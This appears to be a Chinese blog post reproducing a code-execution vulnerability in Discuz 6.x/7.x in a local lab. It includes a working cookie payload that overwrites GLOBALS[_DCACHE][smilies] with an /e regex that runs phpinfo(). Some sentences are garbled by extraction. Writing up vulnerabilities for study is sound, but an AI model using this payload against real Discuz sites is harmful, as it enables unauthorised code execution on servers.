Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现(超级详细)

Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现

闲谈:

其实自己做个不少漏洞复现,但是一直没好意思发,后来我发现了,不发出来我写他干嘛?(反正也没人看)

0x00 漏洞概述:

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致 R E Q U E S T 中 不 再 包 含 _REQUEST中不再包含 REQUEST_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

0x01 前置条件:

php版本:php5.3.x php5.6.x
(经测试php5.2.x php7 均复现失败)

0x02 影响版本:

Discuz 6.x
Discuz 7.x

0x03 环境搭建:

靶机:Windows10专业版1903 phpstudy_pro php5.6.9nts Mysql5.7.26 Apache2.4.39 UCenter1.5.0 Discuz7.2
攻击机:kali2020 burp 火狐浏览器

环境搭建:
安装UCenter1.5.0:
将下载的UCenter1.5.0压缩包中得upload文件夹解压到网站根目录下,访问127.0.0.1/UCenter_1.5.0_SC_UTF8/upload/install,安装步骤如图0-图3所示:
在这里插入图片描述
图0
在这里插入图片描述
图1

在这里插入图片描述
图2
在这里插入图片描述
图3

安装Discuz7.2:
将下载的Discuz7.2压缩包中得upload文件夹解压到网站根目录下,访问127.0.0.1/Discuz7.2/upload/install ,安装步骤如图4-图7所示:
在这里插入图片描述
图4
在这里插入图片描述
图5
在这里插入图片描述
图6
在这里插入图片描述
图7
数据库信息必须是已经存在的,安装完成。

0x04 漏洞利用:
访问一个已经存在的帖子,用burp抓包,并且在cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); 如图8所示:
在这里插入图片描述
图8

返回结果如下图9:
在这里插入图片描述
图9
可见执行成功。

附录:

1:127.0.0.1/Discuz7.2/upload/install 页面空白,无法出现安装引导:
打开config.inc.php文件,将 d b u s e r 的 值 均 设 置 为 r o o t , dbuser的值均设置为root, dbuserrootdbpw的值设为123456,$dbname设为root (phpstudy数据库名称,账号,密码)如图10:
在这里插入图片描述
图10

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值